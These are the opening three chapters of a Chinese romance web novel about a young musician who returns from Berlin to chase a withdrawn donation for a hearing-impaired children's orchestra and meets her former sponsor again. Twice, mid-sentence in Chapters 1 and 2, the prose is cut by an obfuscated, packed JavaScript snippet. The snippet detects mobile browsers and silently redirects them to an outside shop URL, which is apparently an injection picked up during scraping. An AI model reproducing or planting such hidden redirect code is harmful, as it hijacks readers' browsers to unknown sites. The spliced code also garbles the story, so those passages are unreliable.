《雾色越轨[老房子着火]》 1. Chapter 01 《雾色越轨》 文/枕荔 因为所有歧途都把我引向你身边。 ——赫尔曼·黑塞《漫游者寄宿所》 - 宋司雾没想到航班会晚点。 从柏林到港城,再转机南城,十六个小时落地,搭上车已经晚上十点。 寒露刚过,南城一夜入秋,气温骤降。 出租师傅往后视镜里瞄了一眼。 年轻女人裹一身黑色风衣,皮肤瓷白。 长发在脑后随意绾成发髻,鬓边两缕碎发拂过颚线。 昏暗灯光也难掩的轮廓清丽,不带攻击性的长相,却漂亮得扎眼。 按惯例总会和客人攀谈几句,可一听目的地是西郊公馆,师傅便识趣地不再问—— 那是幢具有百年历史的老洋房,最初是德国商人为自己营建的住宅,其中一幢毁于战火,现有保存下来的这栋,千禧年后政府按照原样修复,作为高规格接待场所对外开放,去的人通常非富即贵,问了也是讳莫如深。 车子驶到半山腰,隔着婆娑树影,已经能望见建筑主体,以九根爱奥尼柱支撑,二三层皆为阳台。 宋司雾脚踩细高跟,拖着银灰行李箱迈进公馆大门。 几名穿白色制服的执勤人员神色古怪地投来目光。 见过来捞的,没见过带着行李来捞的。 宋司雾立住拉杆站定,从风衣口袋里抽出震动的手机。 电话是发小姜莱打来的,问她到了没有。 回国前她从姜莱那儿得到消息,今晚西郊公馆有个大佬云集的酒局,汇集了不少南城政商两界的代表。 姜莱的原话是:就算原本的项目投资拿不回来,在场这么多富商大贾,随便从手指缝里漏点儿都够她们那个小乐团几个月的开销。 宋司雾深以为然。 “易海怀这人难缠,行踪不定,不知道今晚你能不能见得到。要是他不在,等我明天回去陪你到易海集团门口堵人。” 电话那头话音刚落,宋司雾便瞥见几个西装革履的男人自一侧扶手楼梯下来,正要拐进宴会大厅。 “我看见他了。”宋司雾捏着手机,径直朝其中一个戴细框眼镜的中年男人走过去。 “小姐,没有邀请函不能入内——” 宋司雾不顾保安阻拦,直接挡在一行人面前。 男人看见她时有片刻的错愕,原本奉迎的笑容顿时僵在脸上。 宋司雾:“易总您好。” 易海怀眯起眼打量眼前的年轻女人,显然是认出来了,“宋小姐?好久不见。” 宋司雾没心思和他寒暄,开门见山:“我有事找您,能否借一步说话。” 易海怀为难地笑一笑,随口推脱:“今天不方便,改日吧。” 一旁的保安作势要请她出去,宋司雾却不让步,目光岿然,嘴角挂着挑不出错的弧度:“易总,撤资的事请再考虑一下。” 易海怀神色冷了几分。 今晚他做东,请的都是南城科技领域的企业代表,没心思理会其他事,但这会儿十数双眼睛盯着,他也不好轻易赶人。 他瞥了眼宋司雾身后贴着某航司托运单的行李箱,笑着说:“宋小姐这么晚从机场赶过来肯定也累了,我叫人安排个房间,今晚先好好休息,有什么事情我们明天再谈。” 宋司雾默了一瞬,声音再平静不过,“易总的意思是,今晚我陪你睡一觉,易海集团就继续注资?” 易海怀脸都黑了,将这样寡廉鲜耻的话拿到台面上说,叫他仅有的体面也维持不下去了。 “宋小姐真会开玩笑,我易某人还没那么肮脏。” 到底是在商场摸爬滚打数十年的人精,轻易不会挂脸,内心再怒不可遏,表面还是装作和谐,“来者是客,宋小姐既然有事要谈,不如进去坐,我们边喝边聊。” 宋司雾颔首,极浅地弯了下唇,将行李交给前台寄存。 红毯从门口一路铺进去,巨型水晶吊灯悬挂在大厅中央,香槟杯堆砌成塔,乐队正在演奏《莫扎特G小调交响曲》。 侍者上前接过宋司雾的风衣外套。 她今天的打扮再简单不过。 一身月白色收腰长裙,没戴任何首饰,站在一众华服高定中却毫不逊色,一入场便吸引了数道目光。 有人同易海怀寒喧,借机将话题引到宋司雾身上,“易总身边真是美女云集啊。今天又有新面孔,易总不介绍一下?” 易海怀虽有不快,但漂亮女人就像是男人的“名牌包”,谁会拒绝在这种场合拿出来炫耀,更何况是宋司雾这种级别的。 易海怀陪个笑,“这位是宋司雾宋小姐,孟老的学生,刚从德国回来。” 宋司雾微微颔首,不卑不亢地同众人打招呼。 “原来是孟老的学生,是我刚才眼拙了。” “我记得孟鉴清教授早就不收徒了吧?几年前犬子备考伯克利,想请孟老点拨一二都被婉拒了。” “还是易总人脉广啊,这医疗器械做大了,又准备进军娱乐产业了?” 易海怀笑笑,三两句话揭过去。 宋司雾安静地站在一边,脸上挂着毫无温度的标准化笑容。 片刻,她手机响了一声。 解锁一看,是银行的转账提醒。 她按灭屏幕,低声打断易海怀。 易海怀不耐烦地瞥来一眼,怕她又当面出言不逊,只好对几位宾客说失陪。 “钱已经派人打给你了,宋小姐还有什么事?”他耐心告罄,这会儿已经没有什么好脸色。 宋司雾的声音平静无澜,“易总想花十万块钱摆平我恐怕不行,您也知道,这连给一个孩子植入人工耳蜗的手术费都不够。” 易海怀眯起眼,隔着镜片睨她,冷哼一声,“宋小姐,易某是生意人,既然上次已经把话说开了,我看也没有继续合作的必要了吧。” 易海集团是靠进口医疗器械在南城站稳脚跟的。 半年前,易海怀和南城某特殊教育学校的校长达成协议,答应资助一批在南城借读的山区听障儿童安装进口人工耳蜗。 这位校长和孟鉴清恰好是熟识,有次南城交响管乐团在该校公益演出,孟鉴清也受邀参加。 前几年孟鉴清因为听神经瘤,丧失了一部分听力,可能是出于同病相怜的情绪,孟鉴清见到孩子们对各类乐器表现出强烈的好奇,萌生了组建听障儿童乐团的想法。 这些孩子大多有中重度的听力障碍,要教会他们歌唱演奏,可谓相当艰难。 易海怀得知此事后夸下海口,说等给孩子们装好人工耳蜗,还要包揽乐团新建教室、购置乐器和聘请老师的全部费用。 结果上个月易海怀临时反悔,不仅投资乐团的钱没到账,就连资助人工耳蜗的手术费也三番五次地推脱。 眼看孩子们的期望落空,孟鉴清又因身体原因尚在休养,心有余而力不足,便将此事托付给宋司雾。 上回易海怀到欧洲出差,宋司雾前去拜访过一次。 说到注资的事,易海怀满口的经济寒冬周转困难,要他们体谅做企业的艰辛。 最后自然是不欢而散。 “易总和宋小姐单独聊什么严肃话题呢,气氛搞这么紧张?” 易海怀见有人来,立时换了一副面孔,笑道:“哪里,同宋小姐聊聊合作。” 说话的这位很会审时度势,方才目睹了两人在宴会厅外剑拔弩张的架势,看出宋司雾是个厉害角色。 “我听说宋小姐精通各种乐器,今年刚拿了肖赛的冠军,还参加了柏林爱乐乐团的演出,真是年轻有为啊。” “您过誉。”宋司雾神色很淡,脸上没什么表情。 对方笑一笑,同易海怀交换个眼神,“宋小姐难得回国,今天沾易总的光,不如请宋小姐上台演奏一首,也好叫我们这些老古董一饱耳福。” 这种关口让宋司雾上台表演,无异于是拿她羞辱取乐。 易海怀冷眼瞧着,料定她会知难而退。 宋司雾唇边浮起淡淡的笑,声音清透,仍是一副温和无害的样子。 “那我就献丑了。” 她走到大厅中央,同刚刚结束演奏的钢琴乐手说了几句话。 乐手会意地点点头,将麦克风递给她,同其他人一起下了台。 宋司雾走到钢琴边,轻敲两下麦。 宾客们面面相觑,以为这是今晚的节目之一,目光汇及一处,渐渐安静下来。 宋司雾打开语音备忘录,将手机的出声筒对准麦克风,播放了一段音频。 开始是细碎的电流声,接着是断断续续的人声哼唱旋律,顺着扩音器放大到整个宴会厅。 仔细听能识别出是一首家喻户晓的儿歌。 宋司雾随手搭上钢琴键,复刻了刚才的音律。 “这个旋律想必各位耳熟能详。” “对于普通孩子来说,这首歌或许很简单。但对于同龄的听障儿童而言,至少需要训练一年才能够勉强哼唱。他们大多患有中重度的听力障碍,但却同样有一颗憧憬音乐的心。 “今天,一个由山区听障儿童组成的乐团即将成立。我代表乐团创始人孟鉴清教授、以及山区的孩子们,感谢易海集团的帮助和支持,让这群特殊的孩子有机会实现‘被听见’的梦想。” 话毕,宋司雾从侍者捧的托盘里捞起一杯红酒,淡笑地举到空中,“这杯,我敬易总。” 继而仰头一饮而尽。 全场掌声雷动。 经久不衰。 台下易海怀唇角抽搐,脸色愈发难看。 不知情者纷纷感叹:“今天宋小姐真是帮易总添彩来了。” 易海怀按捺怒火,只得陪笑。 这女人是故意把他架在火上烤,今天当众这样一宣布,这钱他是不掏也得掏。 易海怀沉着脸,见宋司雾走过来,从牙缝里挤出一句:“宋小姐,你可真有本事,几句话让易某大出血,待会儿可要多喝几杯。” 宋司雾扯了扯唇,“好啊,多谢易总盛情。” 她脚步有些浮,胃里似有火在烧,借口去了趟洗手间。 扶着大理石台面缓了一会儿,抬起头,巴洛克式鎏金镜框中映出一张潮红的脸。 她酒量差,几乎一杯就倒,方才为了逼易海怀把整杯红酒灌下肚,这会儿头晕得厉害,接了几捧水浇在脸上才稍稍清醒一点。 宋司雾打开手包,从里面摸出枚解酒糖,挤进嘴里,几下咬碎,淡淡的姜黄蜂蜜味充斥口腔。 室外不知何时开始刮风,冷空气从窗口吹进来,她不禁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854898|191646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑟缩了一下。 打算回去拿外套,刚进大厅又被易海怀几人盯上。 “宋小姐这是要去哪儿?” 易海怀今晚喝的也不少,这会儿面泛酡色,直勾勾盯着她,眼神愈发不清明。 宋司雾皱了皱眉,转身欲走,却被易海怀的手下拦了下来。 “宋小姐今晚给易总做了这么好的一个宣传,可是我们易海集团的功臣,我得敬你一杯。” “是啊,宋小姐,我也敬你。” 说着,那人倒了满满一杯干红,递过来的时候酒杯故意没拿稳,潋滟的酒液尽数浇在她衣服前襟上,一片刺眼的红。 “哎呀不好意思啊宋小姐,把你衣服弄脏了,要不我帮你擦擦……” 说着,那人的手就要往她胸口探。 宋司雾血液直往脑门上冲,本能地后退几步。 下一瞬,却听见宴会厅大门砰地打开,场子内响起一阵骚乱,又骤然安静。 不少人围拢过去,一迭声地问好。 助理走到易海怀身边提醒:“易总,那位过来了。” 易海怀蹙着眉,啧了一声:“谁啊?” “顾氏的那位,好像今晚跟人在二楼谈事。” 易海怀一听脸色骤变,顾不上羞辱宋司雾了,忙理好衣领,带着人率先迎上去。 宋司雾无心再待下去,转身往人群边缘走,背后传来易海怀奉承讨好的声音。 “顾总,不晓得您今天也在,真是怠慢了。” 人群中央徐徐响起一道沉肃的男声。 “易总客气,听说今晚易总在大厅设宴,过来打声招呼。” 宋司雾脚步猛然一顿,心脏直直向下坠,指尖不由得掐进掌心。 大概是太久没听到这个声音,生疏了。 冰凉的酒液在心口处晕开,顺着毛孔钻进身体,彻骨的冷。 乐队键盘手瞧见她一副失魂落魄的样子,好心问侍者要了条毛巾递过去,“你还好吧?” 宋司雾接过,淡淡道一声谢。 旁边几名提琴手聚在一起低声议论。 “谁啊这么大排场?协会的领导们都过去打招呼了。” “你不知道啊?那位可是顾氏集团现任的掌权人,这几年顾氏旗下的智能制造产业势头正盛,谁不想跟他搭上关系。” 易海怀虽是这两年才来的南城,但在此之前也对这位有所耳闻。 年纪轻轻就带领团队在纳斯达克敲钟,回国后又接任家族集团一把手,能力不可小觑。 易海怀:“顾总肯赏光是我的荣幸,往后还得仰仗您多关照。我叫人备了些薄酒,顾总可坐下来喝两杯?” “好说。酒我就不喝了。我有事先走一步,诸位慢聊。” 易海怀不敢不允,这种人多眼杂的场合真把这尊大佛留下来反而怠慢。 他交代助理善后,满脸堆笑地亲自送客。 众人簇拥下,男人提步出门。 视线穿过重重人影,自宋司雾身上一扫而过,没有转瞬停留。 - 宋司雾去洗手间简单处理完裙子上的红酒渍,问前台借了把伞。 外面暴雨如注,公馆门前已有积水趋势,外头的车子开不过来。 她一手撑伞,拖着箱子走进雨中。 雨水浇在路面上,溅起白色水花,伞架在狂风中摇摇欲坠。 她脚下淌水,裙子下摆几乎湿透,走了几百米,才找到一个公交站台躲雨。 周遭水汽弥散,连带心口都被氲出潮湿。 宋司雾站在原地缓了一会儿,才重新找回呼吸。 久别重逢,是一个极富物哀色彩的词。 有些人光听声音就能把你拉入回忆的漩涡,所有尘封的过往都在这四个字中发酵。 她也不能免俗。 当年她不告而别,一走四年,没想到刚回来就撞上他。 雨天车难打,叫车软件的雷达扫了一圈又一圈,十几分钟过去了,没有一个车型应答。 上飞机前姜莱提醒过她,南城受台风影响今夜有雨,不曾想会这么大。 进退两难之际,一辆黑色汽车缓缓驶停在她面前。 车窗落下,对上一双熟悉又淡漠的眼。 “去哪,送你。”男人声线沉冷,寒意迫人。 宋司雾微怔,恍惚间以为在梦中。 铅灰色的云层深处电光闪烁,短暂点亮那张风烟俱净的面容。 她默了片刻,才道:“不用,我叫的车马上就到。” 雨夜浓稠,点漆似的眸子几乎将她看穿。 “今夜台风,外环所有道路全部管控,你叫的车不会来了。” 宋司雾抿住唇。 路边的几株梧桐被风刮得摇摇欲断,一地的残枝败叶。 眼前的场景过于熟悉。 秋季,雨夜,她也是这样一身狼狈,上了他的车。 命运喜欢重复、推演、偶合。 她走了四年,似乎又回到原点。 好像一个循环。 她拢着外套,随手拂开吹在脸上的长发。 隔着朦胧的雨幕,凉声问:“不怕我又讹上你吗?” 顾淮序揿灭香烟,声淡如水,不带半点情绪。 “我喜欢被人讹。” 2. Chapter 02 夜雨寒潮,宋司雾心口泛起一阵潮湿。 四年未见,他还是当初那副沉肃疏离的模样。 就连面对她时,那副端方持重的姿态都一模一样。 他向来不屑在字眼上与人周旋,这种话从他口中说出,难有遐想的余地,只叫她听出些讽刺意味。 顾淮序:“这条路地势低,除非你打算在水中站一晚。” 他嗓音冷冽,如同暗河下的浮冰。 梧桐树冠的枝条剧烈摇晃,劲风过境的尖啸声几乎盖过一切。 宋司雾轻轻扯唇,声音提高两分,“不如这样,您载我一程,我按专车的价格付费。” 顾淮序神色漠然,看向她的目光里多了几分审视。 大概觉得她长本事了,跟他算这种账。 顾淮序未表态,两人就这样隔着车窗对峙。 宋司雾裙子泡了水,这会儿跟只落汤鸡似的,不论搭谁的车,之后清理起车厢来恐怕都要花好一番功夫。 她心口发堵,率先打破沉默:“顾总是觉得钱不够?” 视线相对,顾淮序用目光攫住她,没有作声。 宋司雾抿住唇,不明白他到底什么意思,视线不自觉逡巡过男人的脸。 世事雕琢,并未在他身上留下太多痕迹,只叫他轮廓比从前硬朗几分。 不得不承认,顾淮序的骨相和皮相俱佳。 他有一些眉压眼,眉骨立体,眼眶深邃,目光一错不错看过来时,有种摄魂夺魄的蛊惑之感。 宋司雾别过眼,胃里突然传来一阵钝痛,翻江倒海般袭来。 她腰肢被压弯几分,艰难地下意识开口:“车上有药吗?我胃疼……” 这突如其来的插曲仿佛苦肉计般,叫她有种无地自容的难堪。 不过她大概是白问一句。 阔别数年,他车上怎么可能还备着她的药。 顾淮序收回视线,淡声:“上来。” 静观其变的司机立即从驾驶位上下来,接过宋司雾的行李箱,“宋小姐,我来吧。” 司机师傅她是认识的,也就不再客气,忍着腹痛,绕到另一侧,收了伞,拉开后座车门,弯腰钻进去。 车厢内一股克制的雪松冷香。 她吸了吸鼻子,飞快地瞥了顾淮序一眼。 男人双腿交叠靠在椅背上,黑色西裤剪裁精良,露出熨得笔直的裤线。 对比之下,她外套和裙摆都湿了大半,显得格外狼狈,衣料贴在小腿上瑟骨的冷,她不禁打了个寒颤。 幸而车上开着空调,出风口源源不断吹出温热气流,叫她好受不少。 宋司雾从口袋里掏出手机,打开地图软件,正想搜索一下附近药店,一只药盒自右侧递了过来。 “门边有水。” 宋司雾心口一滞。 奥美拉唑。 是她从前常吃的那种。 药盒尚未开封,生产日期刻着今年。 她接过来,从铝板里按出一枚药片,和水吞服。 等药起效还需时间,胃里持续的钝痛叫宋司雾额头浮起一层薄汗。 身侧男人瞥她一眼,语气一如既往寡淡:“什么时候回来的?” 宋司雾:“……两小时前。” 听到他这么问,她才确信今晚的确是偶遇,而非他提前得知她要回国而特地来捉她。 待司机上车,顾淮序问她:“去哪儿?” 宋司雾报了个地址。 她刚回国,没有提前租房,姜莱让她暂且去她那儿住。 顾淮序没有追问,汽车往前开了一段,汇入车流。 台风猛烈,沿路有一些挂断的树枝横亘在车道中间。 雨刮器在玻璃上来回摆动,扫出一片清晰区域,又立即被雨水浇得模糊。 宋司雾双脚慢慢回温,胃腔的痛感减弱。 唯一叫她不自在就是旁边的人。 他存在感实在太过强烈,每每和他同处一个空间之中,总叫她有种呼吸微凝之感。 汽车在雨幕中行进了许久,导航到姜莱住处附近,宋司雾翻出手包,点了点剩下的欧元现金,叠好,塞进中央扶手台。 “我身上暂时只有这些,顾总要觉得不够,可以留个卡号,回去我转给您。” 她语气客套,真要跟他银货两讫的架势。 顾淮序漠然瞧着她的动作,未置一词。 汽车稳稳停在小区门口的一棵老槐树下。 宋司雾道声谢,伸手去拉车门,身后传来顾淮序的声音:“和易海怀谈交易,你找错人了。” 她手指一顿,转头看过去。 顾淮序脸上并没有什么多余的情绪,车外浓稠的夜色在他黑发边缘消散,叫他整个人仿佛要与暗夜融为一体。 宋司雾轻笑了一下,“顾总的意思,我应该找谁?” 顾淮序没去看她,平静地吩咐司机:“周师傅,去帮忙买包烟。” 宋司雾听懂,这是支开人的话术。 司机会意,撑伞下了车。 车内仅剩两道呼吸,雨水从四面八方灌下来,整个车厢仿佛在深海中悬浮的一辆潜水艇。 沉默发酵,空气愈发稀薄,宋司雾快要呼吸不过来。 她泄了几分力,上半身靠进椅背里,语气轻嘲:“顾总想让我去找谁?李总,刘总,还是今晚席间的哪个富商?或者您有更好的渠道帮我推一推。” 顾淮序睨她一眼,并不理会这番阴阳怪气,徐徐开口时声音很冷:“你喝酒了。” 宋司雾微微一愣。 她喝得不多,浓郁的酒精味大概率是来自那杯泼在衣服上的干红。 胃里又开始痛起来,手指不禁蜷缩,掐进掌心。 她收起笑脸,不打算再和顾淮序纠缠下去,“要是没别的事,我就不耽误顾总的时间……” “宋司雾。” 他唤她全名,隐隐的警告意味,“别这么叫我。” 宋司雾抬眸,笑意不及眼底,“那您想我怎么叫,还是您更喜欢以前的称呼?顾先生,还是顾叔叔?” 话音刚落,她手腕被人一捉,用力往前一带。 距离骤然拉近,宋司雾睫毛猛地颤了一下。 他掌心温度灼热,掌骨硌得她手腕生疼。 挣扎了半天,却抽不回手。 气息围剿,她嗅到他身上积雪冷松混杂一点淡淡的烟草香气。 太具侵略性的味道,叫人头皮发麻。 窗外一片荒凉的灰。 车厢沦为雨的囚笼。 他指腹紧贴着她的皮肤,感受到脉搏的强烈跳动。 借着头顶的阅读灯,顾淮序切切实实地看清了她。 小姑娘长大了。 眉眼清丽,瞳仁透亮,眼波流转时添了几分妩媚。 要说有多成熟倒也没有,装腔作势笑起来的时候眼底情绪还是生涩。 那股机灵劲儿倒是跟以前一样,能行云流水地应付那些商场人精。 嘴巴也不饶人,五句话里三句都带刺儿,知道往他痛处扎。 两人离得近,宋司雾罩在外面的风衣随动作掀开一隅,露出内搭的月白色裙装,映衬皮肤,有种雪光融融的质感,胸口那抹嫣红的酒渍也被尽收眼底。 顾淮序松了手,平静地移开目光。 “你以为易海怀真对这个项目感兴趣?当年投资是为了打开市场,现在做公益对他而言早就失去价值。” 顾淮序声调不急不缓,陈述客观事实的口吻。 宋司雾缓缓转动手腕,稳住呼吸,“这就不劳您费心了。” 顾淮序眉头轻锁着,瞥了她一眼,神情叫人琢磨不透。 沉默半晌,下了一句结论:“在外面待了四年,翅膀硬了。” 宋司雾没什么可说的。 她翅膀硬不硬的,也有他当初的一份功劳。 静了片刻,再无人说话,宋司雾拉开后座车门下车,取了行李,走到车窗边客气地同他道别。 万事留一线,也是她从顾淮序身上学来的处事原则,与任何人打交道都尽量保持体面,没有深仇大恨就没必要彻底撕破脸。 “你走吧。” 他不再看她,声音混杂着清寒的雨水,有莫名的虚无缥缈之感。 宋司雾没有停留,转身迈开脚步,身影迅速消失在雨幕之中。 - 狂风骤雨一整夜,宋司雾起床时已是下午五点。 十几个小时的长途飞行彻底拨乱了她的生物钟,昨晚酒精带来的晕眩感尚未完全消失。 台风过境,外面雨已经停了。 姜莱给她打电话,约她晚上去南城一家老字号餐厅吃蟹。 餐厅是预约制的,宋司雾去的时候,姜莱已经提前到了。 昨天宋司雾回国,姜莱临时被安排去沪城出差,没赶得及给她接风。 知道她在国外想这一口,今天回来特地补上。 餐厅是偏新中式的风格,带一个小庭院,安静雅致,私密性很好。 穿过走廊,一股清檀香混杂着悠淡的茶香气息。 两人进了包厢,先点一壶柚子茶边喝边聊。 姜莱和宋司雾自小相识,现在在南城一家艺术工作室做策展人。 她直接从机场过来,没回去换衣服,驼色大衣脱掉,上身一件青果领的米白衬衫,偏职业化的装扮。 姜莱打量好友,说她又瘦了。 宋司雾笑笑,“国内现在不是流行骨感美么,瘦点好看。” “什么骨感美,抱起来都硌人。” 宋司雾说:“没那么夸张,和你上回见我的时候差不多。” 算算时间,她出国四年,上回两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854899|191646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见面还是姜莱实习的时候。 那时姜莱负责的一个艺术品展览需要和德国一家博物馆租借展品,地点不在汉诺威,她跟mentor请了一天假才和宋司雾见上面。 姜莱说:“我以为你打算一辈子待在外面不回来了。” 宋司雾抿一口茶水,开玩笑道:“有可能,说不定你下次见我又是好几年后。” 姜莱没好气地白了她一眼,问:“昨天投资拉的怎么样?” “不怎么样。”宋司雾简单概括,“碰见顾淮序了。” 姜莱有些惊讶,“他知道你回来吗?” “应该不知道。” “那你有没有顺便也敲他一笔?” 宋司雾摇头,“孟老师说,乐团筹建初期顾淮序就以个人名义捐了一笔钱,用于山区听障儿童的学杂费和电子耳蜗安装。” 姜莱评价:“他倒是还和以前一样慷慨。” 聊这些的时候,姜莱有意无意地观察宋司雾。 她表情殊无变化,提到顾淮序时,仿佛在聊一个无关紧要的人。 “我听说,他快订婚了。” 宋司雾手里的杯子一抖,无所谓地嗯了一声。 姜莱看她一眼,继续说:“好像还是你出国那年的那位,都四年了才订婚,估计也没啥感情。” 宋司雾沉默一霎,淡声道:“有没有都和我无关了。” 在外四年,当初顾家资助她的钱已经还清,顾淮序和她也再没有联系。 他要和谁订婚,愿意和谁在一起,都跟她没关系。 姜莱说:“你说他会不会是故意的,知道你回来了,昨晚特地出现。” 宋司雾轻轻扯了下唇角。 他会吗? 她比谁都清醒。 顾淮序对她,从始至终都是一副疏离克制的年长者姿态,永远拿她当小孩子。 昨天帮她也不过是念着那两年的微薄情分。 要说他有什么私心,大概是不想她这个曾被视作和顾家有关系的人在外面过得太难看。 姜莱瞧见她眼下的乌青,知道她最近处在躁期,昨天估计又没睡好。 “我听医生说,你总体情况比之前好,但是还有几项指标不正常。现在既然回来了,以前的事就别去想了,放宽心,先把身体养好。” 宋司雾点点头,“我知道。” 蟹吃到一半,姜莱接了个电话,拿起包,急匆匆地要走。 “下周准备布展的场地出了点问题,我得过去一趟。” 临走前不忙嘱咐宋司雾:“账我已经结了,你胃不好,螃蟹凉性的,别吃太多。” 宋司雾笑着答好,叫她开车注意安全,又坐了一会儿也打算撤了。 走到包厢门口,冷风从庭院里灌进来,直往骨头缝里钻,她被激得地一哆嗦。 想去趟洗手间,没走几步,身后有一个人贴了上来。 “宋小姐,这么巧,没想到回国也能碰上。” 宋司雾回头,一个穿深色大衣的男人立在那儿。 她认出来,这人是易海怀的独子,之前在柏林见过。 “宋小姐怎么一个人?我那儿有上好的雨前龙井,进来坐坐?”男人站在门前,作邀请状地朝包厢内歪了下头。 宋司雾跟不认识他似的,转过脸,继续往外走,一个眼神都没给。 男人几步拦下她,笑说:“宋小姐不给面子?” 对方明显喝了酒,声音压低,语气再轻浮不过,“我知道你在国外很抢手,追你的人很多。这样吧,你开个价,陪我三个月怎么样?” 宋司雾抬起眼,眸子里浸了层寒霜,淡声道:“三个月恐怕不够。” 男人瞧着她这张清冷脱俗的脸,心里泛痒。 他知道国外花样多,笑说:“要不,你彻底跟了我,我们有的是时间慢慢玩儿。” 宋司雾轻嗤一声,“真有意思,昨天你爸和我说了同样的话,要不你回去问问他,说不定过两天你就得叫我一声妈。” 男人讪笑的表情僵在脸上,唇角不自觉地抽搐两下。 宋司雾已经绕过他,往走廊尽头走去。 男人一把扯住她,钳住她手臂往后一按,木门抵得她脊背生疼。 “玩儿我是吧?装什么贞洁烈女,靠和白人睡觉博上位,有什么了不起的?” 宋司雾皱了皱眉,视线落在一旁架子上的细颈青瓷花瓶。 还不等她伸手,旁侧闪出一道黑影,抓住男人的肩膀,狠狠往地上一摜。 劲风掠过,宋司雾不自觉闭了下眼睛。 只听见人体骨骼撞击地板发出的巨大响声。 男人吃痛地咒骂起来。 昏暗中,那道身影压了过来,宋司雾抬眸,猝然撞进一双漆黑的眼瞳。 顾淮序捉住她的手臂,拽着她大步往外走。 3. Chapter 03 顾淮序身量高,穿一袭黑色大衣,颀长宽阔的后背拦住所有视线。 宋司雾不受控制地被他拉走。 夜风携着微苦的茶香和他身上的清寒气息,全数扑在她脸上。 走到餐厅门口,宋司雾挣了下手腕,禁锢的力道才松开了她。 男人停住脚步,抬手将领带扯松两分。 宋司雾察觉到他隐隐的情绪,压低眼睫,尽量不去看他。 她从前不信缘份命定这种说法,现在刚回来没两天就接连撞上他,这怎么不算一种孽缘。 手伸进外套口袋里摸了摸,两侧都是空的,只得颓然放下。 “有烟吗?” 顾淮序眉头微蹙,方才笼在眼底的厉色还未褪净。 又听见她说:“算了,我不抽你的。太淡。” 他平常很少吸烟,就算抽也会选一些口味清淡的,结束之后口腔里残存一些薄荷气味,不至于难闻。 她嫌他的烟味道淡。 那她抽什么? 顾淮序微微垂眼,目光落在她身上。 她今天穿一件廓形棕色皮衣,麂皮半裙搭深卡其长筒靴,妆容有些浓,眼尾微微上挑,稍显成熟的装扮。 整个人的气质清冷纯净,一切装点对她而言只是陪衬。 她确实长大了,整个人蜕变不少。 不再是记忆中那个在校门口和人打架的小姑娘了。 他将钥匙抛给门僮,叫人把车开过来。 单手掌住副驾车门,“上车。” 宋司雾有些莫名,拢了拢眉,“去哪?” 顾淮序看她一眼,声音比夜风更加料峭,“不是要烟?” 宋司雾也不知道怎么就上了他的车。 或许是鬼使神差,抑或许是当下的她迫切需要一剂尼古丁。 车开出去一段,停在一家便利店门口。 宋司雾解开安全带下车,进门扫了眼柜台后侧的烟架,对店员说:“拿包利群。再拿个火机。” 身后,顾淮序也跟进来,脚步走向门店深处又折返。 一瓶带着雾汽的矿泉水自背后递来,“一起。” 年轻店员一边扫码一边打量二人,男帅女美,体型和颜值都很般配,极养眼的一对。 宋司雾扫一眼旁边货架上摆的花花绿绿的盒子,随手抽一个丢在玻璃柜台上。 顾淮序瞥了一眼。 上面赫然几个大字: 玻尿酸,超薄,三合一。 店员对此见怪不怪,拿起来用扫码枪滴了一声,贴心地问:“今天有活动,两件八折,三件七折,两位需要多拿几盒吗?” 顾淮序微微蹙眉,递过付款码,“不用了。” 宋司雾伸手摸过那盒东西,揣进口袋,转身往店外走。 她靠着墙,熟捻地从烟盒里抽出一支,衔在嘴里,拢着火慢慢点燃,浅浅吸了一口。 一套动作行云流水,落在顾淮序眼里。 他并未作声。 宋司雾也不说话,抱着手臂倚在墙边,指尖夹带细细一条,安静地燃烧。 “什么时候开始的。”顾淮序突然问。 迎面刮来一阵风,她表情笼在烟雾之中,看不真切。 “记不清了。” 她烟龄不算久。 以前喜欢他的时候偷偷试过,出国之后更是彻底离不开了。 她本来就不是什么传统意义上的好女孩,更何况吸烟和人品好坏也沾不上边,没必要遮掩。 他透过青白的烟雾看她,“孟教授最近怎么样?” 宋司雾回过神,手里的烟已燃了三分之一,指尖轻轻弹了弹,化作飞灰。 “刚做完第一次化疗,精神不太好。” 听孟鉴清说,他出国之前的检查都经顾淮序的朋友一手安排。 上个月孟老师刚去了欧洲休养,他怎会不晓得这个? 她抬头去看他。 便利店门口的光线幽淡,男人垂首时眉骨下面蒙了一层浅浅的阴影,衬得眉眼格外清绝淡漠。 离开四年,她只偶尔在午夜梦回时分见过这双眼。 幽静疏离,冷漠深隽。 只淡淡一瞥就叫她清醒,他是她无论如何都攀折不起的神龛,无望的高台明月。 静了片刻,顾淮序开口,声音微沉,“就为了易海怀的那笔投资?” 宋司雾看向他,双眼空洞,没有多余的情绪,“您想说什么?” “不值得。”浅淡吐字,神色一如既往冷寂。 宋司雾轻轻地咬了咬牙。 一支烟将将抽完,烦躁也没有消散几分。 她胸口堵得厉害。 原来在他眼里自己是那么不堪。 宋司雾撩开耳边的碎发,平声道:“顾总高看我了,我对钱色交易没兴趣。” 顾淮序垂眸看她,眼底闪过一些她读不懂的情绪。 他忽然走近,身影压迫下来,头顶的光源被挡去大半。 清寒气息笼罩住她,叫她有种退无可退又无处可逃的错觉。 她呼吸慢了半拍。 “就这么厌恶我?” 顾淮序注视着她,眼底覆霜,宋司雾下意识抿唇,不明白他什么意思。 僵持片刻,烟彻底烧到尽头。 宋司雾退开半步,拍了拍衣服上不存在的灰烬,说:“您多虑了。” 